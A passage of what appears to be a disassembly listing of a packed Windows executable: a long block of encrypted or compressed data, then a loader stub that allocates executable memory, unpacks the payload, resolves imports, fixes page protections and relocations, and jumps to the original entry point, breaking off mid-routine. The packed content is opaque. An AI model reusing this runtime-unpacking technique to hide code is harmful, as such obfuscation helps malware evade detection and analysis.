dd 6DAAE88Ah, 1C41F5A0h, 0FA84C9ADh, 0A0F671ECh, 0C3CB82F6h
dd 0E1B6DAF7h, 43C1F7E8h, 0C4E5C720h, 6BFA04D3h, 6523DF6Dh
dd 0BBF9E68Fh, 7ED4C99Ah, 3D3758E8h, 0EDCD8C0Eh, 34C6A445h
dd 0AB0B2FF8h, 2C2D4310h, 0D8CF9121h, 0D83A110Dh, 0D6A3A13Dh
dd 18DCD5Eh, 2E3B1A72h, 76DB627Ch, 86A19A31h, 8A30C103h
dd 0DFCBB290h, 0CE7224CAh, 48A7E04Dh, 75D12F8h, 0DFDE66D2h
dd 136A8DF9h, 0F3C2EA2Fh, 0EF9971CBh, 378D1667h, 0E7ED8D82h
dd 737D6C97h, 880CBE4Bh, 83E63CAh, 5DD0B1C6h, 5367216Ah
dd 652B3A95h, 2A4A1F70h, 1231E585h, 0F0CB6BCh, 87925CE7h
dd 18D0A4CAh, 0AB4CBE7Ch, 808F9F4Ch, 33B85F41h, 18BB8613h
dd 0FB72B999h, 1F156685h, 9CE7A480h, 4F83F946h, 0E76A3B6Dh
dd 0BBACF3DEh, 0EC184E5Fh, 0AE673905h, 0FDF8BCFCh, 0FA09DB17h
dd 0CBF88943h, 1ABCA7DEh, 6B038CFCh, 67B4501Ah, 8A31F03Bh
dd 28A306F8h, 162A51E7h, 401A5828h, 3E796ADAh, 66FDF187h
dd 9222C0C3h, 0A1E4F662h, 56632C79h, 4B20E2D9h, 9AB0AB87h
dd 0C3FE57C1h, 0A36B272Ch, 0CD2A31ABh, 0D7BCADEh, 11858D56h
dd 5BDF4F3Dh, 0D798086Ch, 1669B44Bh, 9C5F55E8h, 0E7EB54ABh
dd 4E72F6E3h, 0E9A2266Bh, 5E8AFA3Fh, 0EE0F6BC4h, 85210A2Ah
dd 94F80593h, 0B5DE17F5h, 8C7291F8h, 0B1579090h, 28143793h
dd 91407628h, 0B823E267h, 6F5AFF9Fh, 2E2CDEE5h, 8010B4EFh
dd 88DCD79h, 8C7E44CEh, 1DDB2500h, 0ED36B284h, 0B48509BBh
dd 0DC990F69h, 51FB0D62h, 3D8CCC5Fh, 0C89671Bh, 43D8E2E4h
dd 33F5BEB9h, 0C15B25E0h, 73701C49h, 9478CA05h, 19B4705Ch
dd 0CBA996D7h, 9E5D0848h, 4313C44Bh, 0E2413428h, 74AD31E5h
dd 9BD70A82h, 0F11E59D5h, 0B9FC182Bh, 0EC4D13AEh, 75E342E8h
dd 1AD672FDh, 118E3AF3h, 806CECA7h, 7AF7CEE6h, 0F6949EE6h
dd 405E58B2h, 82B27C5Dh, 99FB973Fh, 0F7ED09BAh, 0CCB1083Fh
dd 0C65ACDAAh, 354383C2h, 3CC4BC40h, 7B670A21h, 0A48BEE45h
dd 0E7218C8h, 0A3D52E45h, 4BE58510h, 1C9A106Ch, 0B5AC36B5h
dd 82471EBAh, 0A52E29CFh, 5420A36h, 82F20789h, 72E19C92h
dd 0FAB588D9h, 1C6AF4F8h, 946F1697h, 207122B4h, 0A68FCB4h
dd 1360FB10h, 117744B7h, 6C53C659h, 1F9764ADh, 0EB4C6F75h
dd 0A61CA111h, 5511078Fh, 0A7D1ABAAh, 9179894Bh, 8827AD0Ch
dd 746EDF9h, 62C38546h, 19F9159Eh, 2F4BFE6Eh, 339D07B2h
dd 571D6CE3h, 0D67C453Eh, 4E0EF324h, 68127037h, 0ED92DA9Ch
dd 4442E66Dh, 12050053h, 0F07F7249h, 66594857h, 0AEC9EB01h
dd 0CAC97117h, 2DCD0AC3h, 30E11917h, 0CAC2396Bh, 0D121A6B4h
dd 99491D2Bh, 12354593h, 0E2F43638h, 5BDBCEB7h, 96FE3164h
dd 0C120C4BFh, 0AFEB7592h, 2E11D0C1h, 91B47947h, 0D59DB0A6h
dd 0C8F301Eh, 3ABE3Bh, 174E1FCFh, 0E89156CFh, 9A274840h
dd 0CF21E030h, 0DE57AA2Bh, 97E6D127h, 4AF654B3h, 0CAD45925h
dd 2EFC1E8Ah, 0CBBFE4E0h, 2423E1EEh, 14F64050h, 0DF3C4241h
dd 846CE17Ch, 0BAFD21F3h, 1C1DB5C0h, 25E05E00h, 0B2895Bh
dd 15E576E3h, 0DE031821h, 6356821Bh, 2A82977Fh, 0B214A94Fh
dd 0FD9320AEh, 24903C00h, 0E46F704Ah, 0D0B36A8Dh, 0B36FF9ABh
dd 3E812E07h, 0F8CC8BC7h
dd 60D46C7h, 0C639ADDFh, 0C29F938Dh, 6985535Fh, 4A90B1A4h
dd 3DEBFBD3h, 0D8528803h, 689F6966h, 0AE2C0E7Ah, 8A35362Ah
dd 0A392D782h, 81425AF4h, 2DF5E1E8h, 88EE207Ch, 2A7BDD22h
dd 57E10D37h, 0F7356459h, 4D0E6A3Bh, 0E3AAE2D2h, 7341101Bh
dd 879F516h, 8ECA772Ah, 0EB82C7AAh, 0F67BA300h, 5649BFB5h
dd 831299BFh, 0C16D586Ah, 4F3764B0h, 0AEEE915h, 779E2CBCh
dd 18F14880h, 2B87ED5Fh, 5B0B0414h, 0E6337418h, 5E1E60FBh
dd 9C469777h, 0F3B8671Fh, 1F962009h, 102BD2B2h, 8D7F3DCFh
dd 0DD10D25Fh, 3B34E36Eh, 6FBB847Ah, 54978250h, 0DA9E1F72h
dd 897E94B5h, 0CFCD2C63h, 6839E6A7h, 2999E1DAh, 0F540BA69h
dd 0E87E0198h, 0E1791B40h, 23D333A0h, 2A22DEE8h, 0A217D97Eh
dd 98FFEBC1h, 32708E57h, 2417820Bh, 1BB410B0h, 0B1989AC3h
dd 0F4281B0h, 1DE74FBEh, 4F7C1DE4h, 0EF97FF99h, 0DB27C1F9h
dd 4A6F483Ch, 0FA5D4A08h, 0DF171566h, 7327E91Bh, 61AD2367h
dd 0AA8A66DFh, 99FE2224h, 890E4B54h, 2E78342Dh, 0C829E4C8h
dd 5EEC53C1h, 0D0C0F872h, 0FEDE880Eh, 2B361837h, 51B61DEBh
dd 45CD0632h, 9D7025DBh, 2250C5EBh, 0E850A6DBh, 0B100DE2Ah
dd 3A76E6ABh, 0ACD70AF9h, 4AE73FCh, 5F5D29CAh, 6D270C2Ah
dd 32FF7DF0h, 0A417790Ah, 0D1250478h, 0B1794D10h, 0B1CF18F6h
dd 1DCED123h, 0EF3A8F53h, 0DE30DEFh, 56927834h, 14EC5653h
dd 0DE37F6CAh, 50FE8231h, 53E8960Bh, 0EAC9D891h, 2EBC82DDh
dd 8FDA7681h, 0E16D0288h, 0AC90D18h, 376F4CD2h, 63B40D25h
dd 47F3B43h, 8CC33110h, 0D32EF764h, 0D67B820h, 0A0C8E3F3h
dd 99612FF2h, 85E03606h, 871716D9h, 55DE767Bh, 0A5EDE615h
dd 0A124E4C8h, 0AA2B5BBEh, 86D46F1Bh, 2AAC1C3h, 6C97D338h
dd 79739823h, 98F62C43h, 0B099421h, 28E02B3h, 5F7B5B30h
dd 416B7E4Ah, 4CAF92FEh, 38D4B60Eh, 405897BBh, 0EB64C27Eh
dd 0D414A943h, 0A0A1CF94h, 2E7C1336h, 3FAA0F37h, 3F1AACA9h
dd 0C57E0EA6h, 13A505D0h, 0CA14BD06h, 6E43C849h, 276AD9C0h
dd 7A07A477h, 6C7F1791h, 3E278C25h, 0D78916E4h, 0FB836CAFh
dd 0BA7DB254h, 347CF03Bh, 0D4918C79h, 64C54BF7h, 5C0BCD2Ah
dd 0A0B0A633h, 9A04D2AFh, 0A2B39B55h, 1C0C13C9h, 0FD40CD87h
dd 208AB7A5h, 79BD9A3Eh, 5E754DE0h, 3E221DC6h, 0FA10A2B2h
dd 7F4141D0h, 6BF8A5DDh, 0BDB4EC91h, 0A7129CF1h, 62851123h
dd 99F55F11h, 7ACCDF66h, 49EEE05Ch, 5CFD70DCh, 0BFEF81E2h
dd 0ECA2368Fh, 0FB2E258Fh, 944AFC36h, 0A9AA1A06h, 191EDB08h
dd 7789B5C8h, 0F23B299Fh, 0DAB26F32h, 0C51DE665h, 69860B6Dh
dd 2781AE9Fh, 0B43C81h, 0FB02845Fh, 0AFFA3532h, 0B41033BCh
dd 57D580CBh, 6A76CBCAh, 0AD329022h, 0D6518774h, 34473AFCh
dd 8FDBABA3h, 0F4CAE1FBh, 0A80D9E71h, 0C578D8B0h, 0E9492AC4h
dd 2BB83296h, 37D5A2D1h, 3B564780h, 169FE13Ah, 0D25ECE38h
dd 0D84C00EBh, 4A502F2Bh, 8461710Bh, 522EAB9Bh, 1E13FCFCh
dd 8BBEA350h, 0AC0A9E43h, 0FF9779E0h, 0B80A8C90h, 7D5D430Fh
dd 0CE9DEAFBh, 316477Ah, 0F1EBA491h, 370643B6h, 0F48A20CAh
dd 5FDFA4B8h, 0AAE0B47Dh, 8D328878h, 91DBC28Fh, 1CF3C000h
dd 92C4DCF5h, 0CB3CCD4Ah, 23A8454Ah, 318628E9h, 0A29309A9h
dd 212AF3D6h, 2BCA9EDFh, 290582F3h, 0A3DE69EDh, 0B89FE3B4h
dd 0DC4A0E65h, 245AA767h, 0D1DF9DFAh, 0BD15D6F4h, 619C39B2h
dd 0C5CFB52Fh, 4D71F962h, 66CB1424h, 5E876416h, 5DBDEF82h
dd 857F4C35h, 951D5C2Fh, 506B9F30h, 189DEBF1h, 0E3697671h
dd 856A4676h, 92EC642Eh, 0D6F981Fh, 35B5A82Bh, 0B089B417h
dd 0FC2C3BF9h, 0E4130127h, 6CD820DDh, 0EC961D47h, 0FE552F15h
dd 0FB5CB947h, 0F47EB935h, 0AFDE0B9Ah, 15A691C1h, 0BB15E6BEh
dd 64E1C6E6h, 5B8FD69Bh, 3BE24EE7h, 41A06C97h, 0D85B2EEh
dd 0F8C1230Ch, 53AC550Fh, 20CC86EEh, 0FF06E8Dh, 0ADCEBB2h
dd 3D4F6CBDh, 149269Bh, 0F4691A0h, 0B6237B69h, 71D298D0h
dd 0FC785E14h, 565D2068h, 9243C074h, 0C83C14E7h, 8E03A72Ah
dd 14855AD4h, 0D567CD01h, 9E39A521h, 0C465498Eh, 0E648934Dh
dd 1C809B83h, 54E985A0h, 899C8FD8h, 0BD86E27Fh, 38A7208Fh
dd 2468EF0Ch, 0FFF707BAh, 992D8CEBh, 7F998233h, 43F842ECh
dd 27057078h, 9E170E92h, 0E425E3C7h, 24F5D581h, 43BB730Fh
dd 0E3E6C23Fh, 0D5D656CBh, 0CE0D7915h, 811B1E3Fh, 2F6964A5h
dd 2C2788CBh, 0E480A090h, 3C88B902h, 227F2828h, 0B5A186C0h
dd 3FEF1CCDh, 0B0289ADh, 0CFD0CB1Dh, 0AE5B43E0h, 0BE259270h
dd 52526D62h, 8CCCAA15h, 0AF9AC616h, 9809B9CDh, 0DC611CBh
dd 3D3B67DAh, 3B4FA142h, 0ED1396CDh, 0ED48BDC7h, 4C83D6CFh
dd 0A890AA17h, 20166F97h, 976ED391h, 5E5E70B6h, 432BDD46h
dd 0D6332940h, 5B2ED1CAh, 0DAB2D4C1h, 6F35C97Eh, 5E7D05C0h
dd 0F5BE4A39h, 0C1D42BAEh, 2283914Dh, 29452A9Dh, 113F6126h
dd 0A6000D44h, 17C2DB2h, 9BB3148Ah, 0E239A4CAh, 71BC1A53h
dd 0F6226830h, 0AFDB0AA2h, 1CA639D3h, 6033065h, 0E3BF434Fh
dd 0B236FF91h, 38873A1Fh, 780D0667h, 6AC36AECh, 0D7D35F27h
dd 69C4A782h, 0CC71E28Dh, 7165D8A1h, 0C06899F6h, 65152990h
dd 58F5A754h, 418EB875h, 5BD02B09h, 46AC3699h, 0FF12F392h
dd 102DB814h, 65ABB639h, 78E87ACCh, 0B8A2E5Dh, 0E9DE159Ah
dd 0C50D3C4h, 0EB9448FDh, 0D716E23Eh, 82D36AEEh, 0CB115ECh
dd 0A0AFA586h, 0BF64DFCEh, 0C5FED720h, 75319011h, 6EC1E17Bh
dd 0A7DB155Ch, 31009A2Eh, 99BD4033h, 4427742Eh, 8A0E6EA8h
dd 0A4E324ADh, 2FA9B5FBh, 1E62FFDBh, 1ACBDB5h, 0FAD021E8h
dd 0A58BE2A2h, 0A699948Eh, 174939C3h, 0A945044Dh, 13287508h
dd 0E965AB6Ch, 3CC4C01Eh, 5222CBD5h, 0C3D2567Dh, 0BE5CD88Dh
dd 8A9B38Ah, 0A31AB54Ch, 6F392949h, 5BC5023Dh, 0A6F78299h
dd 25CA1EA6h, 93BECC08h, 0CC14714Ah, 9AD73F1Ah, 0B6863760h
dd 1311E1C5h, 0A6994FADh, 0A9A1B6A9h, 0BA94421h, 0E123E129h
dd 0F89ADD4Fh, 3A7165F4h, 746D887Bh, 0CF67D2D8h, 0EDE46939h
dd 5842B476h, 0CD9F671Fh, 0DE252383h, 1F0A6A4h, 0D8A82B58h
dd 73B38D5Dh, 19E58E04h, 0E9289E7Bh, 2BE5C18h, 101EB74Fh
dd 0B74C26C8h, 30B96767h, 8A5F41B2h, 0A3C1B903h, 1B0ADFC9h
dd 1D5BF358h, 7C93E73Ah, 0DD6F4325h, 0DF49679Fh, 0B7521FDDh
dd 39F8F014h, 0A01A6037h, 189CDD8Dh, 17B6DBA8h, 99B33205h
dd 75518E18h, 1C5A0789h, 48810B1Ah, 262A9027h, 56A8A494h
dd 31325273h, 3DF82F2Ch, 417AD0CCh, 5AA266B9h, 6F8767E5h
dd 0C503A03Eh, 2810164Eh, 0BDDB1D1Eh, 204EB68Ch, 184FCBBBh
dd 0A272E26Ah, 0C1182705h, 0A27802A6h, 72662A29h, 0C6069117h
dd 0AE05E942h, 9B4C6357h, 2CFC745Dh, 0F7E14836h, 97B8BB4Eh
dd 0A1B1429Dh, 8AB61F2Ch, 3A2DAE3Dh, 0A2BFA8BDh, 609D4E42h
dd 96949940h, 0F4D31FEBh, 478AB63Ah, 92B332FEh, 0B167AE65h
dd 5609F73Ch, 0CF393307h, 0D0AA0387h, 1CCCCED4h, 0B973750Dh
dd 0A1448015h, 0BEB3B9BFh, 7839913h, 944C557Ah, 0F76A4F6Eh
dd 8B1B2ADCh, 0CEDCC7FAh, 0AA165CB0h, 0A3F23FDCh, 41038C62h
dd 0D91F2279h, 0EE61D02Ah, 468DDD26h, 414E147Eh, 3E3EEF46h
dd 0F36A0CDCh, 0CBA28ACFh, 1B48387Ah, 0CDE56D3h, 2915F730h
dd 536A0D3Fh, 1E0A040Dh
dd 8A869103h, 783E67FCh, 921C14A5h, 4067612Eh, 38A77A16h
dd 0C599EB91h, 0D5308EEEh, 0C5813D13h, 477E74AFh, 69167297h
dd 0AD555C6Fh, 396B861Eh, 69A0732Fh, 6FEF3703h, 595370E6h
dd 0B971C4DFh, 0D4FB7928h, 48EFFB96h, 7A4C2109h, 943E8AF3h
dd 5BAF1A1Ah, 31EDF875h, 0ED3C5B43h, 31B7A9C0h, 0C8A8F2FCh
dd 0DA968A30h, 0C1BE819Fh, 2A83EB7h, 0E28F2F0Ch, 0D2049B34h
dd 0EF7C4C67h, 8AD980C7h, 485480F8h, 0BC70F466h, 0AEFDAC2Dh
dd 4C7802EAh, 0AEE42B9Ah, 9151B4E4h, 3A356EC3h, 46575016h
dd 0B270C75Ah, 542E717h, 0BCD0E06Fh, 0AB801C2Fh, 78449E2Ah
dd 5345620Eh, 82478D4Dh, 65DDF507h, 1C6B361Ch, 0BD2D348Ch
dd 0A81FA78Ah, 0B676D5C4h, 0D3E7A8EAh, 0B567D678h, 0DB8B9D99h
dd 0B2024167h, 0EF9B5829h, 5E7D3716h, 30EDB3A6h, 0B021117Ch
dd 0BBCFEC1Eh, 8BEC9F4h, 754463D4h, 15B1DD1Ah, 0A74FA75h
dd 0AC815531h, 34E96F61h, 72C13E0Ah, 1FCD85C0h, 34929DD8h
dd 5F538F18h, 62533396h, 2B66FE6Bh, 5AEA8400h, 0EEEB07E9h
dd 1486FF22h, 0DC569EFAh, 414D6101h, 4C0E67AAh, 0D249D13h
dd 0C9ADE106h, 16CFD932h, 0F0E8016Ah, 9E83DA2Ah, 86638E47h
dd 66D39C72h, 2A5B1CDh, 0F41B8AC2h, 96EE430Fh, 66A4CD96h
dd 8353E171h, 2683D6D0h, 4C487B55h, 9C98F3ABh, 0C807528Bh
dd 8BABE07Fh, 6971FC1h, 0D41FE7AFh, 81F21968h, 5ABC7B22h
dd 99DE0305h, 3C695774h, 0A485C741h, 643CBEB8h, 49091F1Eh
dd 1294E630h, 6543904Dh, 5BADBFC6h, 0B01B4F57h, 9EED0AD9h
dd 0D3791432h, 21F7EDA5h, 0B3B6C7E8h, 0C5FA02F4h, 0CA6B430Ah
dd 684581B4h, 50AB4982h, 652659Ch, 8554A2C9h, 0CEA81400h
dd 10A95E15h, 50671D91h, 499A24E9h, 780DD3C5h, 0EDC53B7Bh
dd 1C6B6C12h, 4670D85h, 54BC8B2Ah, 0C0CA8FDDh, 94B07405h
dd 1EB486C1h, 0A19610C4h, 49D90341h, 5B1D144Bh, 9B172576h
dd 75045A40h, 0C4023CB4h, 0BA783AB0h, 30CE539Eh, 0FD7A24DCh
dd 0EA066FEAh, 219A4129h, 0D878C7F8h, 297E6984h, 32EE762Eh
dd 59A3522Ch, 591791FFh, 0D77D81FFh, 3914F843h, 0BEE38912h
dd 0C11B27CEh, 7F1894F0h, 0E8E1156Fh, 39F7BDB6h, 871C5E5h
dd 0A752590Ch, 0C0232D29h, 0A1BD34EEh, 0F160FF22h, 0E1325FF1h
dd 1ADC4FC7h, 747F371h, 0CA965DDFh, 22DA8B26h, 2830396Ch
dd 8DF14389h, 0C1976FDDh, 75E14085h, 0E830F509h, 7491CE8Ch
dd 25AC78A1h, 9E8E3A72h, 1C911B44h, 7EFAD7E5h, 0FCDBFF59h
dd 14DD0EBBh, 1F908240h, 0A9097E49h, 0BD0FFC91h, 2DD81B3Ah
dd 2F147730h, 8C2EE4EFh, 0D1A77ADFh, 10A91BAEh, 1028D0EBh
dd 0B46F50BEh, 0E3D8DAD4h, 97704BAAh, 9DBE2E60h, 22B03794h
dd 0D9B7DFE5h, 1086CB01h, 26986C06h, 0A8024C51h, 0A44F907h
dd 7A44E187h, 9CC4EF58h, 0F3175054h, 4E1B0E38h, 0A14F09F1h
dd 0E65B6FC7h, 0FD40C17h, 0B7163A5Dh, 8FD3D203h, 0D695A1C9h
dd 0D4BDD585h, 9D3CC990h, 5555F8EEh, 3EF0EE0Ch, 0B21E010Fh
dd 5A5FB953h, 0DE08DAD0h, 0C10BE486h, 69FF38D4h, 427D0BA9h
dd 2E3BB72Ch, 326A779h, 7E1C1A0Bh, 3C237166h, 5D7376DCh
dd 182F2E3h, 70B9B929h, 0B5296FA9h, 4BC29248h, 449F3FE9h
dd 892DC798h, 0B6BA0FEh, 4C93B07Ch, 0E37BFB49h, 0B567FC68h
dd 3DD5E34Ch, 884920h, 0F567874Fh, 0D6F49373h, 370EF24Dh
dd 2EB8FDF7h, 0D179D4E3h, 0B7718301h, 0ECBF41DCh, 0D02C198h
dd 0D4EDE56Dh, 4C87BB9Ch, 8F9639B5h, 4F67F2AEh, 0BF50B2E2h
dd 4FC2176Bh, 3B3802BDh, 1A0C2015h, 0D2C84689h, 980EBA3Ah
dd 6EFC7D0Fh, 0DF3800Ch, 110957E4h, 0E922B3B9h, 6D4B0504h
dd 4F4D05B3h, 259265A8h, 0FE14B7D4h, 591001BFh, 1C36BB35h
dd 8BC99059h, 79035897h, 3E9077B9h, 2A30C7F0h, 4687C4CAh
dd 623E84F2h, 518904D3h, 2C2FA4C2h, 82843061h, 0BA63DBF3h
dd 0E5CFEDE1h, 0C87CFA75h, 5CD8BFB0h, 0F225738h, 242447Ch
dd 0A47C3B74h, 1905F05Eh, 0C109DA9h, 27437AF7h, 91951F26h
dd 4379D52Eh, 0A1F4F86Bh, 6EB65964h, 6ADFD4B7h, 0A3D40647h
dd 981D6699h, 6665145h, 19816F2Bh, 0A64E79C5h, 7253A7D2h
dd 51BEFAD4h, 0F4007868h, 7A34DEA3h, 0FA538FB2h, 11F38A57h
dd 29E7B5B4h, 70066A89h, 0EE2D5E2Dh, 0C5E365CAh, 0E3B0951Ch
dd 2B7D1CC7h, 0C8CF3DDBh, 92BB5DA3h, 0E17807F0h, 0C6406FE0h
dd 1A9A4927h, 7F772DAEh, 0BDAC7DBEh, 615ABE28h, 0E10BBB06h
dd 44E11489h, 20222E87h, 57B1DC23h, 71AF0C3Dh, 0D858FEA9h
dd 0F2A4EB3Ch, 2624A9ECh, 7B44ADE0h, 0CCCCD60Fh, 0A34ABEC8h
dd 9B76E063h, 5F7CC8CCh, 37C6A4B2h, 0D187704Ah, 8965040Ch
dd 37FFE6C8h, 41B3E3Ch, 0CC978142h, 5E87554Bh, 0AD5F6925h
dd 2173C9BEh, 49BAB3DBh, 0A3C52CD0h, 1A31B6F8h, 0BE71E75Dh
dd 0AE6A3B26h, 0BA5DCCE3h, 47220780h, 0BDF461F7h, 8AFAC331h
dd 0D5C295D2h, 8B9940D6h, 0E9EC53h, 6E2C0D9Dh, 0E128C02Ch
dd 3897EDA8h, 12568C2Ch, 14F9977Bh, 0B432ED45h, 7EF9A363h
dd 65D25389h, 1C8EC562h, 0FF7DAB8Fh, 33F2B509h, 0D1B06AF1h
dd 0F37CFFB3h, 2ADA07Fh, 5760BE6Fh, 39D3B2Ah, 2E07AA3Ah
dd 5A28D144h, 65AE2E20h, 0B898FAAAh, 37C644B1h, 0B27E1404h
dd 8F876A68h, 0AAA6617Bh, 98DF9037h, 1FF9B8F9h, 8198ECE1h
dd 0E4075A1Dh, 0A78D975Dh, 0F4B98512h, 5060CA81h, 88507ED2h
dd 0B59C7F82h, 0FC2AD75Fh, 6AE4376Bh, 3F3615DFh, 6B2AE05Bh
dd 0BBD7B5C5h, 0CD261C07h, 9A6AFC7Ah, 46762C22h, 0C3BE1966h
dd 0C9C7B75Ah, 62EDB17Bh, 9D7F853Bh, 0CE27C5E9h, 0DAE0FAF8h
dd 34D463BEh, 4A77883Fh, 54259108h, 6EAB2B02h, 0F2ADFCB2h
dd 0CC793F51h, 63384A26h, 5477C472h, 0CA3FEAA3h, 33A7A4BBh
dd 2DAC30DEh, 0CAE22D71h, 6AEBB4B9h, 0E96EE587h, 528627EFh
dd 0B9887851h, 4E430E25h, 0FF31061Ah, 97CD1AD8h, 7D3D077Bh
dd 82382CC1h, 0BAAA10E3h, 9A52D2EFh, 0ABB545C1h, 2FB5E477h
dd 0D3FCBC71h, 18B715AEh, 439CAF6Ah, 2CBE930Ah, 0C3130E7Bh
dd 39467778h, 3C3887D5h, 0BD84704h, 0EBBC3DA9h, 0E37325C9h
dd 0BBAFD042h, 0EE811880h, 284B61E8h, 0A4021100h, 0BFA322B2h
dd 2E6C3E8h, 69E26A69h, 94FE6BD8h, 1DEC8CDBh, 6D05943Eh
dd 0C8DE5BE0h, 582CDD55h, 0E8EEB541h, 2C30B5B5h, 175D41D4h
dd 198A5C59h, 2325844Dh, 0FF5B97B9h, 0F3F2DFF0h, 0
dd 0BE6C0000h, 0FA21FF8Ch, 57C16C8Bh, 3D35EC2Bh, 0D68F4E17h
dd 0FFD0C9E9h, 21912373h, 0A69FE37Bh, 5F02DC7Eh, 0F8B1672Bh
dd 4B3BA979h, 866D01ABh, 2C1697DAh, 415D5657h, 33137FF3h
dd 4C4FE0ABh, 6F75A39Bh, 31F3ADD4h, 9C742CEFh, 0F30FE812h
dd 2D723AF8h, 1D0ED5A5h, 69E77EBCh, 1E4D390Ch, 0FF4D46FDh
dd 2ED458D7h, 0C448E796h, 17240131h, 0A1B58612h, 0E7090E31h
dd 576C123Bh, 8FB95D04h, 0F974BB93h, 7B7081C3h, 73FF42D3h
dd 0AA27717Fh, 0CE46D7CDh, 0B6A56E03h, 94DA037h, 0C97429CDh
dd 27058246h, 6FA03875h, 9FFF848Bh, 81A186F1h, 347CD486h
dd 495C6345h, 46267C5Bh, 0DA5CAC67h, 0E71DB9FFh, 0F76CD7A7h
dd 9BD59786h, 27EFB0D5h, 85EAABBEh, 90EE194Ah, 7002EC8Eh
dd 37A7243h, 0A0DD4EB1h, 2A6FA535h, 0AFA2FF1Ah, 14A7EB46h
dd 0D11C9342h, 5745C9C9h, 0F3FBA712h, 4994D1EAh, 547B8E75h
dd 78695556h, 0A729D0A1h, 86775A9h, 0C0723857h, 30CA487Eh
dd 0F36BF01h, 6A1C9B5Dh, 0C667FF78h, 624BA5FBh, 70E079F2h
dd 2848C96Ch, 933A5C60h, 5DEC64EBh, 4601EFDEh, 7097E608h
dd 4AA158C1h, 46A22460h, 85DF8060h, 0E3991584h, 7DC7A2Ch
dd 0C0F60986h, 0D2E70E82h, 4C3D5ADDh, 0B90DEE02h, 0BD5D074Fh
dd 2420E8F5h, 1EE75955h, 95EEBA42h, 9792F5FFh, 80h
db 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
call $+5
mov ebp, [esp+24h+var_24]
add esp, 4
cmp [esp+20h+arg_4], 1
jnz short loc_69BADC
mov eax, [esp+20h+arg_0]
mov [ebp+0C9Ch], eax
jmp short loc_69BAE8
; ---------------------------------------------------------------------------
loc_69BADC: ; CODE XREF: start+11j
mov eax, [ebp+0C98h]
mov [ebp+0C9Ch], eax
loc_69BAE8: ; CODE XREF: start+1Dj
lea esi, [ebp+0CC4h]
lea ebx, [ebp+482h]
xor edi, edi
push 40h
push 1000h
push 0C2000h
push 0
call dword ptr [ebp+0C2Dh]
mov [ebp+0C94h], eax
call sub_69BC6E
jmp short loc_69BB37
; ---------------------------------------------------------------------------
loc_69BB17: ; CODE XREF: start+7Ej
pusha
mov eax, [ebp+0C9Ch]
push dword ptr [ebp+0C94h]
push dword ptr [edi+esi]
add [esp+2Ch+var_2C], eax
push dword ptr [edi+esi+4]
add [esp+30h+var_30], eax
call ebx
popa
add edi, 8
loc_69BB37: ; CODE XREF: start+58j
cmp dword ptr [edi+esi], 0
jnz short loc_69BB17
cmp dword ptr [ebp+0CA8h], 0
jz short loc_69BB54
cmp dword ptr [ebp+0CACh], 0
jz short loc_69BB54
call sub_69BD46
loc_69BB54: ; CODE XREF: start+87j start+90j
lea esi, [edi+esi+4]
push ebx
push 40h
push 1000h
push 38Bh
push 0
call dword ptr [ebp+0C2Dh]
mov [ebp+0CC0h], eax
pop ebx
pusha
push dword ptr [ebp+0C94h]
push esi
push dword ptr [ebp+0CC0h]
call ebx
popa
mov esi, [ebp+0CC0h]
mov eax, esi
jmp short loc_69BB90
; ---------------------------------------------------------------------------
loc_69BB8F: ; CODE XREF: start+D6j
inc eax
loc_69BB90: ; CODE XREF: start+D0j
cmp byte ptr [eax], 1
jnz short loc_69BB8F
inc eax
mov edi, [eax]
add edi, [ebp+0C9Ch]
add eax, 4
mov [ebp+0CBCh], eax
jmp short loc_69BC1B
; ---------------------------------------------------------------------------
loc_69BBA9: ; CODE XREF: start+161j
push esi
call dword ptr [ebp+0C25h]
or eax, eax
jnz short loc_69BBB9
call sub_69BE9F
loc_69BBB9: ; CODE XREF: start+F5j
test eax, eax
jz loc_69BC6C
mov [ebp+0CB8h], eax
mov eax, esi
jmp short loc_69BBF9
; ---------------------------------------------------------------------------
loc_69BBCB: ; CODE XREF: start+13Fj
mov eax, [ebp+0CBCh]
mov eax, [eax]
push eax
push dword ptr [ebp+0CB8h]
call sub_69BE0D
test eax, eax
jz loc_69BC6C
mov [edi], eax
add dword ptr [ebp+0CBCh], 4
add edi, 4
mov eax, [ebp+0CBCh]
loc_69BBF9: ; CODE XREF: start+10Cj
cmp dword ptr [eax], 0
jnz short loc_69BBCB
jmp short loc_69BC01
; ---------------------------------------------------------------------------
loc_69BC00: ; CODE XREF: start+147j
inc esi
loc_69BC01: ; CODE XREF: start+141j
cmp byte ptr [esi], 0
jnz short loc_69BC00
inc esi
add eax, 4
mov edi, [eax]
add edi, [ebp+0C9Ch]
add eax, 4
mov [ebp+0CBCh], eax
loc_69BC1B: ; CODE XREF: start+EAj
cmp byte ptr [esi], 1
jnz short loc_69BBA9
push 4000h
push 38Bh
push dword ptr [ebp+0CC0h]
call dword ptr [ebp+0C31h]
push 8000h
push 0
push dword ptr [ebp+0CC0h]
call dword ptr [ebp+0C31h]
push 8000h
push 0
push dword ptr [ebp+0C94h]
call dword ptr [ebp+0C31h]
call sub_69BCC2
call sub_69BDC2
popa
jmp sub_42C4A4
; ---------------------------------------------------------------------------
loc_69BC6C: ; CODE XREF: start+FEj start+124j
popa
retn
start endp
; =============== S U B R O U T I N E =======================================
sub_69BC6E proc near ; CODE XREF: start+53p
pusha
lea eax, [ebp+0C90h]
push eax
push 40h
push 200h
push dword ptr [ebp+0C9Ch]
call dword ptr [ebp+0C35h]
mov dword ptr [ebp+0C90h], 2040001h
mov eax, [ebp+0C9Ch]
add eax, [eax+3Ch]
add ax, [eax+14h]
add eax, 18h
mov ebx, [eax+0Ch]
add ebx, [ebp+0C9Ch]
mov ecx, [eax+8]
lea eax, [ebp+0C90h]
push eax
push 40h
push ecx
push ebx
call dword ptr [ebp+0C35h]
popa
retn
sub_69BC6E endp
; =============== S U B R O U T I N E =======================================
sub_69BCC2 proc near ; CODE XREF: start+19Fp
var_24 = dword ptr -24h
pusha
mov esi, [ebp+0CA0h]
or esi, esi
jz short loc_69BD44
mov edi, [ebp+0C98h]
mov eax, [ebp+0C9Ch]
cmp eax, edi
jz short loc_69BD44
add esi, eax
jmp short loc_69BD3F
; ---------------------------------------------------------------------------
loc_69BCE1: ; CODE XREF: sub_69BCC2+80j
mov edx, [esi]
mov eax, [esi+4]
mov [ebp+0CA4h], eax
add [ebp+0CA4h], esi
mov ebx, [ebp+0C9Ch]
xor ecx, ecx
add esi, 8
jmp short loc_69BD37
; ---------------------------------------------------------------------------
